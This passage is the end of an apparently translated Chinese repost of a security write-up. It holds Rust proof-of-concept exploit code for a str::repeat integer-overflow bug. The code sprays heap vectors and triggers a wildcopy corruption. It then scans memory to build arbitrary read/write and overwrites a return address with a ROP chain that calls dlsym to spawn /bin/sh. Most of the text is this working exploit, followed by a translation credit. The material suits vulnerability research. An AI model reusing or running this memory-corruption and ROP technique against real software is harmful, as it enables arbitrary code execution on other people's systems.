     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*5, dlsym_addr);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*6, main_addr + pop_rdi_jmp_rax_off);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*7, BIN_SH_STR);
     println!("[*corrupt*]\ttrigger retq");
 }
 
 fn spray_vectors(size : usize, count: usize) -> Vec  {
     let mut allocs = Vec::new();
     for _i in 0..count {
         let mut vec : Vec = Vec::with_capacity(size);
         let mut subvec : Vec = Vec::with_capacity(size);
         subvec.push(0x43434343);
         vec.push(subvec);
         allocs.push(vec);
     }
     return allocs;
 }
 
 /*
     terminology:
         corrupted_vec:  the first vector I find that was corrupted with the wildcopy
         target_vec:     the vector I find while relative read scan the memory, and corrupt it for arbitrary use
         target_idx:     the actual index of the target_vec, so I can do allocs[idx][0][0] for arbitrary RW
 */
 fn exploit_thread(size : usize, count: usize, tx : std::sync::mpsc::Sender) {
     println!("[*shape*]\tshape: spraying vectors");
     let mut allocs = spray_vectors(size, count);
     println!("[*shape*]\tshape: done spraying vectors");
 
     tx.send(()).unwrap();
 
     thread::sleep(time::Duration::from_millis(1000));
     let mut corrupted_vec = 0;
     println!("[*scan*]\tstart checking vectors");
     for i in 0..count {
         if allocs[i][0].len() > 1 {
             println!("[*scan*]\tvec corrupted! allocs[{}][0].len() == {:#x}", i, allocs[i][0].len());
             corrupted_vec = i;
             break;
         }
     }
 
     if corrupted_vec == 0 {
         println!("[*scan*]\tfailed to find target vec, abort");
         return;
     }
 
     println!("[*scan*]\tdone checking vectors");
 
     // find target vector
     let mut target_vec : usize = 0x0;
     println!("[*scan*]\tstart scan for interesting data");
     for i in 0..0x100000000 {
         if allocs[corrupted_vec][0][i] != 0 {
             let val = allocs[corrupted_vec][0][i];
             println!("[*scan*]\tfound interesting data at offset {}*8 == {:#x}", i, val);
             if val > 0x7f0000000000 {
                 target_vec = i;
                 println!("[*scan*]\tfound vector buf pointer at {} == {:#x}", target_vec, val);
 
                 // mark the second corrupted vector, so I can find it easily for later use
                 allocs[corrupted_vec][0][i+2] = 0x4848484848484848 as u64;
                 break;
             }
         }
     }
 
     let mut target_idx = 0x0;
     for i in 0..count {
         if allocs[i][0].len() == 0x4848484848484848 {
             target_idx = i;
         }
     }
     if target_idx == 0 {
         println!("[*scan*]\tfailed to find second target vec, abort");
         return;
     }
 
     /*
         when exploit_thread exists, it frees the allocs vector and
         cleanup lots of the pointers and stuctures. We clearly segfualt there,
         so why not simply pass our RW structure into a subfunctio, and execute
         ROP on its return :)
     */
     println!("[*corrupt*]\tcorrupt ret addr with ROP");
     corrupt_with_rop(&mut allocs, corrupted_vec, target_vec, target_idx);
 }
 
 fn trigger_vulnerability(size : usize) {
     println!("[*vuln*]\ttrigger_vulnerability");
     let fixed_addr = "\x00\x00\x7f\x7f\x00\x7f\x00\x00";
     let _s = fixed_addr.repeat(0x4000000000000000 + size / 8);
 }
 
 fn main() {
     let (tx, rx) = channel();
     println!("[*start*]\tLet the fun begin!");
 
     thread::spawn(move || { exploit_thread(VECTOR_SIZE, VECTOR_SPRAY_CNT, tx)});
     
     rx.recv().unwrap();
     thread::sleep(time::Duration::from_millis(100));
     trigger_vulnerability(VECTOR_SIZE);
 
     thread::sleep(time::Duration::from_millis(1000 * 60));
 }
本文翻译自:https://saaramar.github.io/str_repeat_exploit/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论